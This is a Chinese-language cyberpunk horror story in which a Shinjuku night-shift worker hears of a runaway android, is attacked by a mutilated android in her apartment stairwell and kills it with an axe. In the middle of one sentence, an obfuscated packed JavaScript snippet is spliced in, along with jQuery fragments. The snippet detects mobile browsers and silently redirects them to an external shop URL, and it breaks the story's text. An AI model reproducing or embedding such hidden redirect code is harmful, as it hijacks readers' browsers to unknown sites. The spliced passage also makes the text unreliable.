新宿区开始下起充满恶意的倾盆大雨。雨水拍打在柏油路面，扬起一层恶灵般的白色水雾。白天的新宿区是一张素描像，那些霓虹灯一下子全哑巴了，蜷缩在雨幕后默不作声，平日里那些张扬的高楼大厦完全隐没在半空之中。然而，全息银杏树仍然很明亮。
在几十年前，它们都是自然移植的行道树，可惜现在已经沦为可悲的广告傀儡了——说起广告，那不得不提起经济。日本的经济市场如同潜水器也难以到达的深海，四周一片漆黑，所有上市公司都是游荡的、食物链中的一环，他们互相看不见彼此，却无时无刻不在进行厮杀、吞噬、伐异党同。我想是极度的恐惧、寒冷和水压使他们变得丑陋不堪。
我坐在一张小吧台前，向便利店的落地窗外望去，甲州街道上的车流已经堵成了死结，车灯在玻璃灰濛濛的水汽上形成摇曳的光斑，鸣笛声、喧闹声还有暴躁的音乐冲刷着我脆弱的耳膜，我不得不把脑袋缩进毛衣里，好在店里的照明灯是橘黄色的，我也感觉到温暖。
我低头看着纸盒，大根、油豆腐袋、香菇、竹轮、炸鱼饼沐浴在浅黄色的汤底中，我咬了一口油豆腐袋，年糕便如我预想的那般滑进口腔里，我感到一种由衷的幸福和满足。这顿关东煮是我的早餐？倒也不算，因为我吃完就要回公寓睡觉去，等到下午三点整去居酒屋工作；如果说是晚餐的话，那就更荒谬了，哪能在白天吃晚餐呀。最近几十年里，像我这样工作的人越来越多。
唉，我觉得今后只会越来越糟。
我想到总能在租户们茶余饭后交谈中存在的、茶花一般的昭和时代后期，那时的人们心中尚且满怀希望。可惜泡沫爆炸之后，虚幻的繁荣便消失了，所以你能知道，这也是我要把它比喻成茶花的原因：茶花耐寒、花期从冬开到春，轰轰烈烈地开花，凋零时整朵花毫无征兆地直直坠落，一夜之间便大厦倾颓、繁华不再。如今的日本，天空和大地逐渐分离，地上的人们再也回不到天上，整个国家都已浸在一种温驯的窒息之中。
我起身去冷藏柜拿啤酒时，发现便利店只有两个人。货架之间站着一个客人，约莫四十岁的模样，头顶稀疏，戴着一副老式的眼镜。现在这种过时的眼镜可不常见，要么他是个复古爱好者，要么他眼睛患有疾病，无法植入视觉芯片或者更换义眼。他正挑选着方便面，动作迟缓。另一名是杵在收银台后的店员，穿着一件蓝白相间的POLO衫，下摆塞进黑色长裤里，围裙系在腰间，上面沾了一块酱油渍。她正把烧鸟串补进前台的货架中，贴耳短发有些散乱，就和她整个人一样散发着倦怠的气质。
我收回目光，打开冷藏柜的玻璃门。我拿出两罐朝日超干，关上门，准备去结账。我其实不爱喝啤酒，很少在居酒屋以外的地方喝。
“听说了吗？池袋那边，又跑了一个呢，据说跑到新宿区来了。”那名客人不知什么时候挤到了我前面，面朝店员说道。他的声音粗犷又沙哑，好像喉咙里塞了很多砂砾进去。
“又跑了？您是说……仿生人？”店员的手停下来，目光也转移到他身上。她怎么判断出来他在谈论仿生人的呢？他们是都收看了新闻吗？我已经在居酒屋忙碌了太久，没来得及看电视，错过了介入这个话题的机会。
“是呀，是K系列，算是老型号了。说本来是要送到回收厂拆解的，结果在运输途中醒了。司机吓了一跳，车子翻了个底朝天，它就跑没影了。”
“K系列没有自主意识模块啊？”
“谁知道呢。可能是老化了，电路串线……也可能是别的什么原因。”客人把方便面和味噌酱放在收银台上的一个凹陷中，嵌入其中的扫描器自动获取商品信息，店员只需要守在一张小屏幕后核对金额和标签。“不管怎么说，警署已经通知各区的市民留意，看到可疑的人员就报警。”
“那，跑了的那个长成什么样子呢？”
“它本身没有‘样子’。但很多目击者说它是个女人。”他说，“身体修长，齐刘海，脸上有雀斑。看上去和普通人一模一样。”
店员“哦”了一声。那个男人在结完账之后就离开了便利店，他忽然变得健步如飞，没有打算继续留在这里和店员探讨如何抓捕仿生人。自动门开启，再合上，带进来一股雨天的冷气。
这几年失控的仿生人越来越多，简直是一场灾难的开端，起码我自己是这么认为的。仿生人和我们几乎没有区别，拟态之后，警察要如何正确分辨出来呢？当一个仿生人走进人群中，就好像一滴毒药落在了水杯里。大家都会变得疑神疑鬼，举报早就看不顺眼的邻居、同事和上司窝藏仿生人——或者他们本人就是仿生人；凶手作案也可以把罪名安在仿生人身上，并且，那个逃窜的仿生人是善意还是恶意呢？他们模仿了人类的智慧，坦率地说，就是狡猾，可不是一只羊、一头猪。我只能把希望寄托在警署上了，也许他们会研发出一种针对仿生人的特殊识别系统，譬如观察虹膜、表皮纹理、体温等等一些异于人类的生理特征来抓住他们。
我结完账，撑起我的伞，穿过新宿副都心八号线、青梅街道、小滝桥通，朝我的庇护所——一座矗立在百人町的廉租公寓楼走去。通过我的描述你就知道，它可不是光鲜亮丽的百货大楼，相反地，它是一幢灰白色的水泥盒子，外表粗糙、丑陋且年代久远，眼花缭乱的廉价广告招牌和管线仿佛附着在外墙的寄生虫，把住户的窗户都要挡住了，那些名牌服装、首饰的广告从不会投放在这个月租仅仅三万五千日元的地方。
它的首层没有住户，而是由一个酒馆、二十四小时无人便利店和小型数据中继站组成的庞大空间，除去这一层，上面一共有六层供人们居住。它也没有电梯，由于我住在五楼，我需要费力一层一层地爬回我的房间，越往上走，活人的气息便越淡薄，我说不清这是好事还是坏事，在这幢公寓楼中，热气是下沉的，冷气才会浮到上面去。
在二楼拐角处，我遇见了下楼倒垃圾的池田小姐。和往常一样，她穿着格子外套、露脐T恤和一条短款牛仔裤，皮肤呈现出非常健康的小麦色，大腿和胸口都有动漫人物纹身。“早上好。”她说，我也说。她住在三楼，我住在五楼，我们之间的对话从未超过十个字。据我所知，她在一家唱片店打工，总是上夜班。我抬起头，看见她也梳着齐刘海，脸上也有星星点点的雀斑。我瞬间就想起那个出逃的仿生人，心脏似乎被手掌用力地攥住。在我发愣的时候，她已经掠过我朝一楼走去。
当我走到四楼平台的时候，我闻到一股奇怪的味道，有点像是烧焦的腐肉，还夹杂着汽油味。我回头看去，三楼的楼道一片黑暗，因为四周没有开放的窗户，仅依靠排风扇通风。没有脚步声，没有呼吸声，可我听见了一种细微的液体滴落的声音，啪嗒、啪嗒、啪嗒……比冷凝水更加黏稠，砸在脏兮兮的水泥台阶上。
我完全转过身，看见三楼的平台上站着一个东西，它有人形，但我相信人绝不会长成那个样子。
那东西和普通人的身高相仿，穿着一件蓝色服务员制服，上半身接近四十五度倾斜，上半身从扶手后探出来。它的头发大面积脱落，露出布满毛孔的仿生硅胶头皮，它的脸——如果说那是脸的话，比头皮更糟糕。那张原本应该和蔼可亲的面容此时呈现出一种扭曲且病态的样子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17772193|209942||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
，右半张脸的脸皮被完全撕下去，内层大面积的电路和灯光模块暴露在空气中，右边眼球悬挂在脸颊上，右眼闪烁着猩红的光。嘴唇不见了，或者说，嘴巴被缝住了？我看到它的嘴部是一条参差不齐的缝，缝合线沿着嘴角向两侧延伸，一直到耳根。
它的双臂垂在身侧，一只胳膊肘部以下的肢节被扯掉，里面伸出的线缆便拖在地上，黑色的液体从断面一滴一滴地往下淌。
“母亲大人、请、请、请、请救救我……”它被缝住的嘴巴蠕动着，仿佛那层惨白的皮肤内部还住着一个人，挣扎着想要出来。它不断重复着这句话。“母亲大人、请、请、请、请救我……”
“……我不是失败者、我不是失败者……”
“母亲大人、请、请、请、请救救我……”
我的胃里一阵抽搐，我很想呕吐，把心脏、肺子和脾脏都吐出来。我把购物袋丢到地上，哆嗦着向后退着，我的腿不听使唤了，疯狂地颤抖。
它忽然动了！它先倒在地上，再挺起身体，几乎匍匐在楼梯台阶上，像疯狗一样朝我窜过来。它嘴巴的缝线倏地崩开，露出一个长满一圈钢铁尖牙的口腔，一条粗壮的口器从喉咙中间伸出来，狠狠地咬住我的小腿。我胡乱地挥舞着手臂，后背贴在四楼住户的房门上，我感觉右手摸到了一个粗糙又硬质的东西，我歪头一看，原来是一把靠在墙边的生锈斧头。
我握紧斧头的木柄，用力朝那东西抡过去。我脑子里什么想法都清空了，肾上腺素的爆发使我感受不到疼痛和恐惧。锋利的刃劈开它的胸膛，斧面卡在它内部的机械结构中，我猛地拔出来，又挥动第二次，堵塞的黑色液体在液压作用下轰地释放，溅到我的胳膊、胸口和脸庞，那些东西散发着曼陀罗般的芳香。它一边痛苦地咆哮，一边嘶吼着“母亲大人”、“我好痛苦”之类的话，口器几乎咬碎了我的小腿骨，紧接着朝我脖子刺去。我尖叫起来，这次我劈向它的脑袋，更多、更黏稠的黑色黏液喷涌而出，把整个斧头都包裹起来。我没有计算我到底挥动了这把武器几次，也许是三、四次，也许是十几次。
等到我从这恐怖的杀戮场景中挣脱出来，它已经倒在地上不动了，身体断成三截。它的黑色血液流淌过十六级台阶，头颅叮叮咚咚地滚了下去。它眼中的光芒已经熄灭了，可它还在不甘心地瞪着我。
周围一片死寂，我干呕了几声，但是什么都没吐出来。
四楼的楼道也变得漆黑，过了足足十秒钟，灯管才重新亮起来。我瘫坐在地上，喘着粗气，却依旧把斧头紧紧握在手中。倘若四楼的住户在家的话，我真想敲门拜访，从他们手里买下这把斧头。我闹出这样大的动静，竟然一个人都没有出现，这层已经没有人住了吗？那些吵闹的人都哪儿去了？我的听觉慢慢地恢复了，排气扇咯哒咯哒的声音从斜上方传来。我的右小臂也开始响起来，嗞——咔——但我无比感谢它的存在，这是我还活在这个世界上最有力的证据。
是我杀了它吗？我低头看着沾满黑色液体的双手，它们已经融入黑暗之中。你不会相信我做了什么……天呐。我虽然不是慈悲为怀的圣人，可我也不是杀人犯……疼痛使我清醒了一些，我的小腿正在流血，我必须尽快处理一下，避免感染。我起身，一瘸一拐地朝通向五楼的楼梯走去，这时，我的外衣口袋里忽然掉出来个东西。我弯腰把它捡起来，原来是那张名片。
我犹豫了片刻，还是拨去了电话。大约半分钟，对方才接起电话。在通讯中，我发现我的声音比想象得要冷静，连一丝颤音都没有：
“喂，是中岛警官吗？我这边有一个很奇怪的人。”